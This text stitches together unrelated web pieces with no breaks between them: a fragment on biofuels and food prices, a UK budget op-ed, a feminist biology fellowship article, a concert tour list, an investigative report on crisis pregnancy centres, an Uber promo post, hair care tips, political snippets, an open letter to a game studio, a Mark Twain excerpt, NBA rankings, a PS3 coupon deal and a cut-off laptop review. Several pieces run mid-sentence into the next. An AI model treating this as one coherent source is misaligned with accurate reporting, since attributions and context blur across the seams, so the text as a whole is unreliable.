“Ethanol is the one thing we can do something about,” he said. “It’s about the only lever we have to pull, but none of the politicians have the courage to pull the lever.”
But August Schumacher, a former under secretary of agriculture who is a consultant for the Kellogg Foundation, said the criticism of biofuels might be misdirected. Development agencies like the World Bank and many governments did little to support agricultural development in the last two decades, he said.
He noted that many of the upheavals over food prices abroad have concerned rice and wheat, neither of which is used as a biofuel. For both those crops, global demand has soared at the same time that droughts suppressed the output from farms.What Alistair Darling offered us in this week's budget was the worst of the left and the worst of the right. On the one hand he promised a massive increase in taxation and on the other the prospect of unprecedented cutbacks in public services. In an act of unusual political dexterity he combined the polices of Michael Foot with the inclinations of Mrs Thatcher – seldom has the complicity between New Labour and neo-liberalism been so manifest.
In so doing, Darling and Brown have managed to both enthuse and enrage the left and right in equal measure. While this plays out the most bizarre consequences of the Blairite confusion of private and public interests, it merely repeats in extreme fashion the complete ideological bankruptcy at the heart of current thinking.
All of the above conceals a fundamentally blighted economy, one still governed by low wages, poor skills, miserable workers and a purely speculative capitalism. As a whole Britain remains untouched by mass innovation, bedeviled by weak productivity, and in dire need of modern infrastructure.
In terms of the budget, the unaddressed middle of the present conundrum is public service reform or in short how do we get more for less? If we were able to genuinely innovate and produce real productivity gains in the public sector, then the need for both tax rises and service cutbacks would be mitigated. Any genuine reform has however been eschewed in favour of public service reduction and state revenue raising. Where is the budgetary recognition of the costs of productivity management through targets? Where is the drive to liberate services from external and internal managerialism? The much mooted Whitehall efficiency targets will only salami slice services, delivering a real drop in both quality and quantity. Instead, now more than ever, what we need is widespread systemic reform to revolutionise public service delivery. Everyone who works in the public sector can testify to evermore useless meetings about forms, paperwork and putative quality control. Everywhere bureaucracy and accountability cripple workers and overwhelm systems and organisations. More and more people are required to service less and less clients. Even if targets are removed the system remains the same – and no genuine transformation takes place.
If we are to save the public sector from cuts and the private sector from taxes radical innovation is required. Front line workers need to be de-managerialised and re-professionalised so that ethos and commitment can replace working by rote and dictation by form.
The real black hole in Labour's political economy is not so much cash – though that is real enough – it is the absence of ideas.Promoting research using a feminist lens to approach biology, University of Wisconsin will be home to the nation’s first post-doctorate program in feminist biology this fall after a donation.
Approaching science with a feminist viewpoint is important because there are certain assumptions about men, women, objectivity and knowledge that influence how science is often done, associate professor at the Center of Women’s Health and Women’s Health Research, Judith Houck, said. Looking at science through a feminist lens allows old questions to be observed in new ways, she said.
Feminist biology attempts to pinpoint and adjust gender bias in biology.
UW was granted the opportunity by Gertraude Wittig, a German Ph.D. biologist in the 1950s, Janet Hyde, professor of psychology and director of the Campus Center for Research on Gender and Women, said. Wittig suffered through bias and sexism that many women faced during that time frame, she said.
After working for the U.S. Department of Agriculture for several years, Wittig researched universities nationwide with strong gender and women’s studies programs to find one she believed had a strong emphasis on the intersection of gender and science, Hyde said.
“She concluded that ours was the best one to give the money to partly because we have a long history of representing biological research in our program, which is unusual for women’s studies programs,” Hyde said.
Hyde said they hope to make advances in approaches to science that detect gender bias in traditional biology and also pioneer new approaches to biological research that counteract those biases.
Houck said the department has a strong history of feminist analysis of science and biology and health. The post-doc is important for the department to continue its strong, innovative legacy, she said.
“For the larger university, what this does is sends a message to the academic community that UW-Madison cares about feminist science, they’re willing to promote feminist science and we want to be known as a university that supports and nurtures feminist science,” Houck said.
Caroline VanSickle, a Ph.D. student studying biological anthropology at the University of Michigan, will be the first post-doctoral fellow in the program, according to a statement from UW. When she begins the two-year fellowship in September, she will study the pelvic shape of female human ancestors to gain insight on childbirth anatomy over the course of human evolution, the statement said.
Fellows working in the program will be responsible for two parts, Hyde said.
The first is conducting biological research incorporating a feminist point of view, Hyde said, and the other is instructing a course for gender and women’s studies each semester. She said they have not had a faculty member be able to teach this course because of budget cuts over the past several years.
“What we need to do is produce more feminist biologists,” Hyde said. “We’re hoping to encourage that now and to make it a much larger and vibrant field.”Destroyer’s Poison Season came out last year, and earlier this year, Dan Bejar released a new 12” featuring his track “My Mystery.” This fall, Bejar is heading out on a solo tour. The tour announcement promises that crowds will be treated to previews of “at least 10 new guitar-based tracks,” according to a press release. Find those dates below.
Read “Accidental Pop: A Conversation With Destroyer’s Dan Bejar.”
Destroyer:
09-21 Spokane, WA - The Bartlett
09-22 Missoula, MT - Top Hat
09-24 Fargo, ND - The Aquarium
09-25 Omaha, NE - Reverb Lounge
09-26 Columbia, MO - Café Berlin
09-27 Oxford, MS - Proud Larry’s
09-28 Baton Rouge, LA - Spanish Moon
09 -29 Tallahassee, FL - Club Downunder
09-30 Jacksonville, FL - Jack Rabbits
10-01 Birmingham, AL - WorkPlay
10-02 Orlando, FL - The Social
10-04 Athens, GA - Caledonia Lounge
10-05 Lexington KY - The Burl
10-06 Knoxville, TN - Pilot Light
10-07 Charlottesville, VA - Jefferson Theater
10-08 Columbus, OH - Basement
10-09 Baltimore, MD - Ottobar
10-10 Pittsburgh, PA - Club Cafe
Check out Dan Bejar’s episode of Pitchfork.tv’s “Over/Under”:After she felt nauseated frying eggs for her kids, a 26-year-old named Alison took a pregnancy test. Then she drove straight to Pregnancy Decision Health Center, located in a strip mall near her home on the west side of Columbus, Ohio. The positive test didn't make sense to her, since she was on the Pill. Alison (who asked Cosmopolitan not to publish her last name) didn't yet know a course of antibiotics had interfered with her birth control. But did she know she wanted an abortion as soon as possible.
Alison had visited the Pregnancy Decision center multiple times during her first two pregnancies, when kindly staff had given her referrals to aid agencies and a basket of baby clothes. She hadn't received any indication the center was an anti-abortion organization, she says—the place looked like a regular medical office, staff performed ultrasounds, and no one made any mention of God.
This time when she arrived at Pregnancy Decision, Alison told a counselor that she and her then-boyfriend—working hard to get off welfare—couldn't afford another baby. "I was really scared," says Alison, who describes herself as very emotional person. "I assumed she'd say, 'This is why we're here.'" Instead, staff told her that the Bible forbids abortion.
In fact, Pregnancy Decision was co-founded by Peggy Hartshorn, who went on to become president of Heartbeat International, which describes itself as the world's largest anti-abortion pregnancy center organization. Heartbeat's network includes 1,800 affiliated nonprofit centers worldwide, including several Pregnancy Decision locations. Throughout the country, at least 3,000 crisis pregnancy centers offer free pregnancy tests and "options counseling." And increasingly these anti-abortion centers are being positioned as healthcare providers. It's a trend I witnessed during a year of interviews with dozens of pregnancy center workers, volunteers, physicians, and anti-abortion activists. Confronted with criticism that they are running deceptive fake clinics, pregnancy center directors have begun acquiring medical equipment and affiliating with doctors and nurses who share their ideological message.
Last yearI attended Heartbeat International's annual conference in Charleston, South Carolina, where roughly 1,000 crisis pregnancy center staff and anti-abortion leaders gathered for training and networking. There, I heard movement leaders directly instruct pregnancy center workers to "compete with the abortion industry" by concealing their religiously motivated anti-contraception and anti-abortion mandates. Suggested tactics included operating multiple websites with different messaging, choosing pro-choice seeming names like "pregnancy options," removing religious paraphernalia from waiting rooms, and advertising free medical services and counseling.
Ohio, like other states, has increased funding for crisis pregnancy centers while moving to restrict funding for providers like Planned Parenthood that provide a full range of reproductive health care. In Ohio, as in many other states, the use of public funds for abortion has been restricted for decades, but this fall its legislature voted to defund Planned Parenthood's other services, including ob-gyn care, domestic violence counseling, HIV-AIDS programming, and more the nonprofit provides low-income women. Republican Governor John Kasich, a candidate for president, will most likely to sign the bill into law. Meanwhile, in its most recent budget, Ohio allotted crisis pregnancy centers $1 million for the next two years.
The day Alison came in for her appointment, knowing already that she wanted an abortion, Pregnancy Decision staff treated her very differently than when she'd arrived excited to be pregnant. A counselor, nurse, and ultrasound technician read Alison Bible passages, as she cried, and urged her to carry the pregnancy to term. She remembers the women saying, "Being a single mom is the toughest thing you can do, and you already did it. God won't give you anything you can't handle."
"It was almost like bullying," Alison says. "I felt set up. The name is Pregnancy Decision. I didn't know they were against abortion. It was intimidating. They tried to make me feel extremely wrong, like I was sinning."
For Alison, a churchgoer and self-described "God-fearing woman," that message was especially upsetting. But she stayed at Pregnancy Decision to get an ultrasound, which she assumed would indicate how advanced her pregnancy was.
It was an urgent question for her, as it is for many women. A woman's stage of pregnancy affects which kind of abortion is available. Alison knew she wanted to use the abortion pill, which usually can be taken up to about nine weeks; after that, doctors usually recommend surgical procedures.
At Pregnancy Decision, the sonogram technician said she couldn't find anything on the screen. The nurse said Alison might miscarry naturally. Alison hoped so. (At the Heartbeat conference I attended, I heard staff people say that presenting miscarriage rates could help persuade a woman she didn't need to "rush into" having an abortion.)
When her ultrasound wasn't conclusive, Pregnancy Decision staff did not refer her to a physician or another provider, Alison says. Instead, they scheduled her for a second appointment the following week. She says she didn't know anywhere else she could walk in, be given an immediate appointment, and get a free ultrasound.
Alison came back for two more appointments, until she says center staff told her the fetus was older than they had first anticipated. In the ultrasound image Pregnancy Decision gave her, two arrows point to the fetus, which is labeled "Baby." She says the Pregnancy Decision staff gave her a packet of pamphlets on fetal development at her stage of pregnancy, and leaflets with Bible verses. When she scheduled an appointment with an abortion clinic, staff told her she was too far along to take the abortion pill at home. She would need to have a surgical procedure, which must be done in a clinic and is usually more expensive. (Pregnancy Decision Health Centers director of operations, Julie Moore, said the organization would not to comment for this article.)
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As they push to discredit and defund Planned Parenthood, leading Republicans, including GOP Presidential candidates, have presented crisis pregnancy centers as worthy, even preferable, alternatives for public funding and support. Carly Fiorina— who gave the keynote address at the 40th anniversary gala for Americans United for Life, arguably the country's most powerful anti-abortion organization— has been especially vocal in maligning Planned Parenthood and was photographed in a South Carolina pregnancy center's ultrasound room. Jeb Bush, Ted Cruz, and Scott Walker, all took turns campaigning at the Carolina Pregnancy Center in Spartanburg, South Carolina. There and elsewhere, Bush has emphasized his "most pro-life" record by making the false claim that under his leadership, Florida was the only state to sponsor crisis pregnancy centers. (In reality, Pennsylvania began funding them in the early 1990s, under Bob Casey, an anti-abortion Democrat who opposed public funding for contraception.)
Marco Rubio—who has said repeatedly that he does not believe women should have abortions even when their lives are endangered—told Fox News that he wants Planned Parenthood's funding transferred to other healthcare centers "that don't do what Planned Parenthood does, but do provide women's healthcare, which is important." For decades, anti-choice leaders have been savvy about shape-shifting their movement. As Kimberly Kelly, associate professor of sociology at Mississippi State University, has documented, the very idea of promoting pregnancy centers originated as response to the criticism that pro-lifers care more about fetuses than pregnant women. In the 80's and 90's, anti-abortion legal strategists recommended legislators push for "abortion alternatives" programs alongside mandatory waiting periods and parental consent laws. "Going medical," as pregnancy center counselors say, is the latest way they are staying a step ahead of pro-choice critics.
Heartbeat International's "Pregnancy Help" database, now lists over 1,000 pregnancy centers that offer "medical services"—which means they can provide ultrasounds, according to Heartbeat's website—scattered across the country. Their spread has dovetailed with laws in 13 states that now require ultrasounds before abortions, regulations pushed by anti-abortion lobbyists and legislators. At the Heartbeat Conference I attended, speakers described how they wanted affiliated centers to be "abortion-minded" women's first option for services. Staff discussed how they consider ultrasound images an unparalleled tool for showing a woman that—as they see it—the fetus is a living person who deserves to be born. Research suggests the tactic doesn't dissuade women. About 98 percent of women who looked at ultrasound images proceeded with scheduled abortions, according to a study published in 2014 in the journal Obstetrics and Gynecology.
"Going medical" also allows centers to market themselves as a trusted source for health advice. Pregnancy centers routinely counsel women and distribute materials about the supposed health risks of abortion, including debunked claims that abortion increases the risk for domestic violence, despair, infertility, breast cancer, and more. Anti-abortion groups that provide materials to pregnancy centers cite fringe reports that abortion procedures themselves are risky. In reality, complications from abortions performed by qualified medical personnel are extremely rare, according to multiple studies, including a 2014 report published in Obstetrics and Gynecology. Another Obstetrics and Gynecology study, published in 2012 and based on Centers for Disease Control data, showed that a woman is 14 times more likely to die from childbirth than during a legal abortion.
Crisis pregnancy centers disproportionately interfere with young and low-income women's access to accurate information and care, says Joanne Rosen, associate director of the Clinic for Public Health Law and Policy at the Johns Hopkins Bloomberg School of Public Health. "In some states—for example, Texas and Mississippi—restrictions have dramatically reduced the number of abortion clinics and have severely impaired women's access to timely abortion procedures. Against this backdrop, the strategies employed by CPCs may constitute an even greater threat to a woman's ability to obtain an abortion."
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"We can look like a medical clinic because we are," explains Lori Szala, executive director of Pregnancy Resource Center, in the South Hills, a suburb of Pittsburgh. "We're not doing anything deceptive there at all."
Pregnancy Resource Center shares a brown brick medical complex with dentists and infectious disease specialists. On its sign facing the road, the pregnancy center advertises, "Free Pregnancy & STD testing." On its website, the center offers "Pre-Abortion Counseling and Education," with trained ultrasound technicians and nurses. Women in lab coats smile; Christian imagery is absent. Inside, a receptionist sits behind a window adjacent a waiting area with stuffed couches. A pine door is marked "Ultrasound Room."
Pregnancy Resource Center belongs to Care Net, an evangelical organization that prohibits its 1,160 affiliated centers from providing or referring for contraception or abortion. And deep-pocketed and politically connected anti-abortion organizations are working behind the scenes to make medical pregnancy centers like this one possible. Focus on the Family, an organization whose mission is "nurturing and defending the God-ordained institution of the family and promoting biblical truths worldwide," has funded 676 grants for ultrasound machines or sonography training in all 50 states. Americans United for Life, a legal organization that works with legislators to write abortion restrictions, has helped Heartbeat and Care Net to advance their political strategy. When I requested to visit Pregnancy Resource Center, Gavin Rhoades, a public relations representative affiliated with the anti-abortion organization Online for Life—funded by Texas billionaire Farris Wilks—arranged my visit and then flew from Texas to chaperon my conversation with Szala.
Szala referred to the center interchangeably as a "clinic" and "ministry," and said her goal was to "walk beside" women with unplanned pregnancies and show them compassion. She said, "Success for us would be that [a woman] chooses life, of course." She doesn't believe abortion is ever the best option and explained that her staff counsels women on abortion's "risks."
Before I arrived, a local physician, Colleen Krajewski, had told me that her patients sometimes tell her they've visited nearby pregnancy centers. "I can't know what the centers tell them, but I know patients come in believing myths," she said. In one especially stark case, a patient told Dr. Krajewski she'd had an ultrasound at Pregnancy Resource Center. Dr. Krajewski says the patient cried that she didn't want to become infertile or "hear the baby splash in a puddle of blood," and that she worried for her children—she believed there was a ten percent chance she'd die during an abortion. "Some patients are embarrassed to admit that they were at a pregnancy center—what they heard was just so shameful," Dr. Krajewski says.
"I don't think anybody here would quote a percentage, because we don't know that for sure, and wouldn't tell her that she's going to die," Szala said, when I told her about what Dr. Krajewksi had said about her patient. She stressed that her staff presents health risks simply as possibilities and that she defers medical questions to the nurse, whom I was told was not available to speak to me. "I'm not medical," Szala said.
Yet when we spoke Szala had been working with women at Pregnancy Resource Center for 14 years. The center's website notes she leads a team of full and part-time center and medical staff, and is also governed by a board of directors and an advisory board overseen by a local medical professional. Medical pregnancy centers often operate under the direction of unlicensed staff like Szala and the license of a physician who doesn't actually see clients at the center. Nurses and technicians usually report to that physician. Generally, pregnancy centers only offer "limited ultrasounds," meaning they can only confirm a pregnancy, not diagnose any problems.
Szala said that roughly half of Pregnancy Resource Center's clients "might come in considering abortion as their No. 1 option." She explained, "I think a lot of people are looking for free services, so even if somebody is calling around just looking for a place to go and … you offer something for free, [making an appointment] might be the first step that they take before they go to pay for a procedure."
I explained that I couldn't find indications that the center did not provide abortions on its website and asked Szala whether she'd ever considered putting Christian imagery on the site, to make the center's mission clear. "We are a Christian ministry," she said, but added about the imagery, "I don't know that we need to have that there." She explained that staff simply offers their Christian perspective as an option when a client brings up questions of faith. Later that day, Rhoades emailed me directions and I found the abortion disclaimer on one of the site's pages.
It is not uncommon for women who arrive at crisis pregnancy centers to believe they going to abortion providers, according to staff who spoke at the Heartbeat International conference I attended. And, says Dr. Krajewski, "some are angry because of the delay." She emphasizes how time-sensitive abortion is. In Pennsylvania, like many states, abortion is prohibited after viability—at about 24 weeks. In other states, abortion is restricted after 20 weeks. As states pass increasing restrictions on abortion providers, the number of clinics is dwindling in many states—which means longer waits for an appointment and longer drives to get there. The cost of an abortion tends to increase after the twelfth week of gestation. Not to mention that many women count their stage of pregnancy as a factor when they're weighing whether to have an abortion at all. If a "medical center" turns out to be a Christian ministry and a woman needs to wait weeks to secure another appointment at a full-service healthcare provider like Planned Parenthood she could pass the gestational limit for certain—or all legal— procedures.
*
Alison called me right when she got home from her abortion. For several nights she'd had trouble sleeping. "I caught myself looking at the ultrasound pictures when my kids were asleep," she said. "I'm strong-willed, but I worried I was going to be a murderer, I was going to lose my relationship with God. Their words kept repeating in my head. I felt like I had to choose between my unborn child and my children." Shaken, she visited her pastor, who told her that no one who judges or shames speaks for God.
In November 2014, the very month Alison spent waiting for a conclusive ultrasound report from Pregnancy Decision, the Ohio House of Representatives passed a resolution commending pregnancy centers, saying the sites "provide comprehensive care" to meet women's "physical, psychological, emotional, financial, career, and spiritual needs," and recommending that the state and federal governments should better support crisis pregnancy centers. Similar resolutions have passed across the country, all based, seemingly word for word, on a model law drafted by Americans United for Life. Heartbeat International and Care Net sent the language to their affiliated centers, calling the resolution a "preemptive strike" against critics and including instructions on how to present it to local officials.
Meanwhile, since Kasich took office in 2011, he has signed a raft of anti-abortion laws, and the number of abortion clinics in the state has dropped from 16 to nine.
"I think it's BS. It's heartless," Alison says of Ohio's praise of pregnancy centers. "[Pregnancy centers] make everything about religion. They make everything about how you're killing your baby instead of making anything about the wishes of the mother. They say, 'You don't know God's will.' I know I don't."
This article was reported in partnership with The Investigative Fund at The Nation Institute.
Follow Meaghan on Twitter.Everything you need to know about getting around Hilton Head for the RBC Heritage golf tournament is here! You are excited that the PGA Tour is coming to town in South Carolina, and what better way to celebrate than getting a free Uber trip to or from the tournament! Uber Hilton Head is teaming up with Budweiser to help you get around Hilton Head safely this weekend. Enter the free Uber trip promo code MAKEAPLAN2017 in the ‘Payment’ section of your Uber app menu to get $10 off a ride to or from the tournament pickup/dropoff area Thursday through Sunday. Here is how this deal works:
Open your app and tap the three horizontal lines in the top left corner of the home screen. Once the menu list appears, tap ‘Payment’. Tap ‘Add Promo/Gift Code’ and enter the free Uber trip code MAKEAPLAN2017 Get $10 off one trip to or from the festival area highlighted below in the map at this link between 5am on Thursday, 4/13, and 11:59pm on Sunday, 4/16. Promotion is limited to the first 500 redemptions. Must be 21 or older to redeem.
The Uber pickup/dropoff zone for the tournament is located at the Harbour Town Bakery & Cafe parking lot on the corner of Deer Island Road and Lighthouse Lane. It’s just a five-minute walk to the tournament entrance. When you’re ready to head home, make your way to the pickup zone to request your ride and meet your driver. Uber recommends calling or texting your driver to confirm your location.
For more information about this Uber free trip, read the Uber South Carolina website.
The main Uber promo codes blog will have all of your latest special codes.
Sign up for a new Uber account promo and get your first Uber ride 100% free of charge.
Do you want to see how much of a sign up bonus you can receive just by signing up to drive for Uber? Click here to see the best cash bonus for South Carolina.Share this article! 17 Pinterest 0 StumbleUpon 0 Reddit 1 Linkedin Tumblr 0 Digg
Does your hair need a protein treatment?
Even if you wear your hair 100% natural and you shun any styling method that involves the use of heat or harmful chemicals, your daily care routine can still chip away at the outer layer of your curls. A protein treatment will re-invigorate hair by repairing damages to the outer layer or cuticle.
Treat your hair with protein if you notice any of the following signs:
Your hair is too dry. Black hair is prone to dryness, it’s true, but healthy curly and kinky hair still feels soft to the touch. Dry, damaged hair looks and feels like seaweed when wet and feels rough like a wire sponge when dry.
Your hair lost its elasticity. Healthy hair won’t break easily when stretched. You can test the elasticity of your hair. When your hair is wet, stretch it to see if it will snap back easily without breaking. If your hair springs back easily without breaking, that means you have healthy hair. If it breaks easily when you stretch it, your hair is lacking in protein.
Serious hair breakage. Everyone experiences hair breakage on a daily basis and you may have noticed hair on your comb or brush as you detangle. That’s normal. But if you see hair everywhere like on your pillow, on your dress, on the back of your seat, and there’s way too many strands caught in your brush or comb, then that is an indication of weak hair.
A protein treatment can help eliminate any of these signs but if your hair is really damaged i.e. due to over processing or using too many chemicals on your hair, regular protein treatments can only do so much. Adding protein can prevent too much shedding but cutting off the severely damaged hair and encouraging new and healthier hair growth is still the best solution.
When using protein treatments, it is important to note that protein must be balanced with moisture because too much protein will cause hair to dry out.
Author: Pamela
“Changing attitudes about natural hair” is what we do at Natural Haircare News. Through informative articles, podcasts and videos, we go beyond just sharing the latest advice and tips on kinky, curly, wavy hair |
and a sausage and caramelized onion flatbread. My favorite on the menu? ‘A Taste of Hollywood Studios,’ which features samplings of the BLT Soup from Sci-Fi Dine-In Restaurant and the Famous Cobb Salad and mini grapefruit cake from The Hollywood Brown Derby.
On the Fantasy Fare food truck, look for Game Day Chicken and Waffles — Buffalo-style chicken with Sriracha maple and blue cheese sauce, served with cornbread waffles. Also new to the lineup: sweet potato puffs topped with marshmallow cream and candied pecans; these tasty bites are not to be missed. In addition to these goodies, the classic hand-dipped corndog and grilled ham and cheese sandwiches are now served with waffle fries.
Have you visited the Disney Food Trucks at Exposition Park yet? Which is your favorite? Tell us in the comments below.‘Openly & nakedly lying to the press’
Rumors of Bret Weinstein’s return to Evergreen State College have been greatly exaggerated.
The biology professor who was driven from campus by threatening students – because he refused to leave on the designated anti-white “Day of Absence” – accused the administration of “lying” by saying he had returned.
Weinstein appeared on Tucker Carlson’s Fox News show Monday night to say he didn’t know if it was safe to return to the Washington state campus, where police had earlier told him they were ordered not to protect him.
An administration spokesman told The Olympian Tuesday that Weinstein returned “just over a week ago to teach in his normally assigned classroom,” and that the professor had been told by campus police there was “additional law enforcement presence on campus.”
Not even true at the state level, Weinstein told the paper:
“I left campus when it was evacuated on the morning of June 1. I held my afternoon class in a downtown park that day, and left the state with my family that evening. We have not been in Washington since, and some administrators know that.”
Weinstein’s brother Eric, the managing director of Thiel Capital and vocal critic of the college since Bret’s travails, denounced the “failed” school and its “nuts” president, George Bridges, in even harsher terms in a tweet.
The @EvergreenStCol now openly & nakedly lying to the press about @BretWeinstein. This is the 1st failed US college & its President is nuts. https://t.co/imW3plBDZm — Eric Weinstein (@EricRWeinstein) June 14, 2017
Read the Olympian story.
Like The College Fix on Facebook / Follow us on TwitterKurtz: NBC's Decision to Spike Bombshell Harvey Weinstein Story Is 'Inexplicable'
Dana Loesch Blasts Weinstein Scandal: 'Hollywood Has a Black Soul'
President Trump blasted the press during a Q&A with Canadian Prime Minister Justin Trudeau.
Trump, soliciting questions about his NAFTA negotiations, was asked about a report that he irked Secretary of Defense James Mattis by asking for "ten times" the current American nuclear capability.
"General Mattis put out a statement saying that was fake news," Trump said. "I never discussed increasing it. I want it in perfect shape. That was just fake news by NBC."
Trump said it is "frankly disgusting the way the press is able to write anything they want to write."
"The press should speak more honestly. They have sources that don't exist... They make up the sources," he said, noting that the NBC report relied on multiple anonymous sources within the administration.
Watch more above.
Kellyanne Conway: Hillary Clinton Is a Hypocrite on Women's Empowerment
Report: Las Vegas Gunman Fired 'Incendiary' Bullets at Jet Fuel TankDear Frontier Developments,
I'd like to take a moment to thank you for making a number of exceptional games during my childhood which have furthered my ambitions to become a Game Developer thanks to their realistic mechanics and little attention to detail things have made them stand out from the crowd. RollerCoaster Tycoon 3 and Thrillville: Off The Rails are predominate favourites, I could still contently play either for hours at a time without getting bored or losing interest... More recently I've been just as captivated by Elite: Dangerous and Planet Coaster.
A Theme Park wouldn't want me designing rides despite my years of in-game experience, based on my tendency to make roller-coasters full of sheer 90° drops (some of which in spiral or loop the loop form) which would most probably cause riders more fear and nausea than excitement, and potentially deal dangerous amounts of G-Force. Despite my lack of knowledge on how to properly build roller-coasters people actually want to ride... I've played games for almost two and a half decades, of the substantial amount of simulation games I've played, one thing I'm sure is that you continue to make some of the most immersive, realistic and enjoyable games in the genre.
More than a decade ago, Lionhead studios released their business simulation game, The Movies. It allowed the player to take charge of their own Hollywood Studio throughout the 1960s to 2020s by placing down sets, and casting, screenwriting and production offices, then employing the relevant people to write, shoot and star in the next potential blockbuster movie. Although, the best thing to do was to use the Custom Screenplay Creator to storyboard their own movies using simple and advanced tools probably best comparable to Source Filmmaker or Grand Theft Auto V's Video Editor. Lots of fans still do use these tools to create their own movies, most of which are uploaded to YouTube.
The Movies doesn't look or act as good as it once did due to a combination of outdated graphics, game-breaking bugs related to a custom-made engine and a reliance on CD Protection which has been blocked by Microsoft since Windows 7, I can only presume Microsoft halted any possible future development on the game and removed it from Steam so that Lionhead could focus their time on creating Fable Games.
There's a gap in the simulation market that used to be filled up by The Movies, but now can't due to the aforementioned reasons. My belief, and the reason for this open letter, is that with the drastic evolution graphics and computing power has gone through over the decade, and how well-regarded and well-respected The Movies is... It seems like the right time for something similar to fill that gap in the market, and I have no doubt that you would be the best company to create either a sequel or spiritual successor due to your tendency to create significant simulation games thanks to your attention to detail, please seriously consider buying the rights to The Movies from Microsoft.
Best Regards,
Christopher Smith.From the newly-released Autobiography of Mark Twain, Volume II:
We deal in a curious and laughable confusion of notions concerning God. We divide Him in two, bring half of Him down to an obscure and infinitesimal corner of the world to confer salvation upon a little colony of Jews—and only Jews, no one else—and leave the other half of Him throned in heaven and looking down and eagerly and anxiously watching for results. We reverently study the history of the earthly half, and deduce from it the conviction that the earthly half has reformed, is equipped with morals and virtues, and in no way resembles the abandoned, malignant half that abides upon the throne. We conceive that the earthly half is just, merciful, charitable, benevolent, forgiving, and full of sympathy for the sufferings of mankind and anxious to remove them.
Apparently we deduce this character not by examining facts, but by diligently declining to search them, measure them, and weigh them. The earthly half requires us to be merciful, and sets us an example by inventing a lake of fire and brimstone in which all of us who fail to recognize and worship Him as God are to be burned through all eternity. And not only we, who are offered these terms, are to be thus burned if we neglect them, but also the earlier billions of human beings are to suffer this awful fate, although they all lived and died without ever having heard of Him or the terms at all. This exhibition of mercifulness may be called gorgeous. We have nothing approaching it among human savages, nor among the wild beasts of the jungle.For the fourth straight year, ESPN.com and the TrueHoop Network are ranking every NBA player and counting them down on Twitter (@ESPNNBA) from No. 500 to No. 1.
We asked our ESPN Forecast panel to predict the overall level of play for each player for the upcoming NBA season. This includes both the quality and the quantity of his expected contributions, combined in one overall rating.
As the rankings are announced, you also can find them here on the pages of ESPN.com.
The players on our list keep getting better and better. We're counting down five more players today, revealing them one at a time on Twitter, until Oct. 28, opening night in the NBA. Today we roll out players 45 through 41.
Eric Bledsoe set career highs in PPG, RPG, APG, FG pct, PER and win shares last season. He was the first Suns player to average at least 17 points per game, five assists per game and four rebounds per game in a single season since Steve Nash in 2005-06.
-- ESPN Stats & Information (@ESPNStatsInfo)
@ESPNNBA @EBled2 got paid, now got to show he can stay healthy a full season! #NBArank — Gabriel Cruz (@cru2492) October 15, 2014
Rank
Player
Score
42
7.04
Kenneth Faried | @KennethFaried35
Denver Nuggets | PF | Age: 24 | 2013 rank: #47
Rank
Player
Score
43
7.00
Chandler Parsons | @ChandlerParsons
Dallas Mavericks | SF | Age: 25 | 2013 rank: #58
Chandler Parsons and Steve Francis are the only players in NBA history with at least 3,000 points, 1,000 rebounds, 700 assists and 300 3-pointers in their first three seasons.
-- ESPN Stats & Information (@ESPNStatsInfo)
#NBArank @ESPNNBA parsons is a great fit for the mavs and the perfect partner for the ellis-dirk team. 43 seems to be right. — hb (@hbmavs) October 15, 2014
Rank
Player
Score
44
6.98
Pau Gasol | @paugasol
Chicago Bulls | PF | Age: 34 | 2013 rank: #29
Pau Gasol and Tim Duncan are the only two players to average at least seven rebounds, two assists and one block per game in each of the last 13 seasons. They're also the only two players in NBA history to average those numbers in each of their first 13 seasons.
-- ESPN Stats & Information (@ESPNStatsInfo)
@ESPNNBA @paugasol Is an upgrade over Boozer. Another passing big man to complement Noah. Bulls will be scary this year. #NBArank — Deven Parikh (@DParikh91) October 15, 2014
Rank
Player
Score
45
6.98
Ty Lawson | @TyLawson3
Denver Nuggets | PG | Age: 26 | 2013 rank: #38
Ty Lawson joined John Wall, Chris Paul and Stephen Curry as the only players to average at least 17 points per game and eight assists per game last season.
-- ESPN Stats & Information (@ESPNStatsInfo)Get a PS3 Slim for Just Over $250
Can’t believe your eyes? Well they aren’t playing tricks on you. At one online retailer, you can pick up a PS3 Slim for $299. After you enter a coupon code, you’ll have a fresh new slimmed down PS3, that “only does everything” for just over $250.
Right now, at Dell.com, you can pick up a PS3 Slim for the low price of $254.99. The PS3 Slim which normally retails for the already low price of $299, paired with Dell’s 15% off electronics sale is the very best price for the PS3 Slim we could find.
All you have to do is click here, or head on over to Dell.com yourself, add the PS3 Slim to your cart then apply coupon code 6FWJ247J1P44CK. The sale ends October 31st but since the PS3 is selling out in record speeds, we suggest you buy one now.
What are you waiting for? Go buy a PS3 Slim now!
Thanks Karissa for the tip!Mobile workstations traditionally look like oversized notebook PCs because they’re equipped with high-performance processors and dedicated graphics for those professionals who need to do complex 3D rendering in the field. It was only a matter of time before those working professionals started to demand the flexibility of a 2-in-1 that can convert into a tablet but still deliver workstation-class performance. This is where Lenovo’s ThinkPad P40 Yoga comes in.
Build and Design
At first glance the 14-inch P40 Yoga is clearly a member of the ThinkPad family thanks to the matte black carbon fiber and magnesium alloy chassis, strong metal hinges and the classic red ThinkPad Trackpoint in the middle of the keyboard. In fact, the P40 Yoga looks a great deal like a slightly thicker and overweight version of the ThinkPad X1 Yoga that we previously reviewed.
While it might look beefier than most 2-in-1 laptops, the P40’s starting weight of just under 4 lbs. is lighter than any 15-inch mobile workstation currently offered by HP or Dell. Still, if you’re looking for a lightweight notebook and don’t need cutting-edge 3D performance then Lenovo’s own ThinkPad X1 Carbon or the HP Spectre X360 are noticeably easier to carry.
Like all Yoga models, the P40 Yoga features a 360-degree hinge system that lets you flip the screen into four different positions (notebook, tent, stand, and tablet). The keyboard tray surrounding the keys moves up and rests flush against the keys (a feature Lenovo calls Lift’n’Lock) to prevent you from accidentally pressing the keyboard keys when you’re using the P40 in tablet mode. Our only minor complaint about the convertible design of the P40 is that the weight of roughly 4 pounds starts to feel a bit burdensome after about an hour of holding the tablet.
The screen lid is thicker than what we’ve seen on consumer-grade 2-in-1 designs, but the screen still suffers from “ripple” distortion if you press on the back of the screen. Lenovo claims to test all ThinkPad models with an “8-corner drop test” prior to release and that the P40 Yoga passed MIL-SPEC 810G durability tests for extreme temperatures, humidity, shocks and vibrations.
Ports and Pen
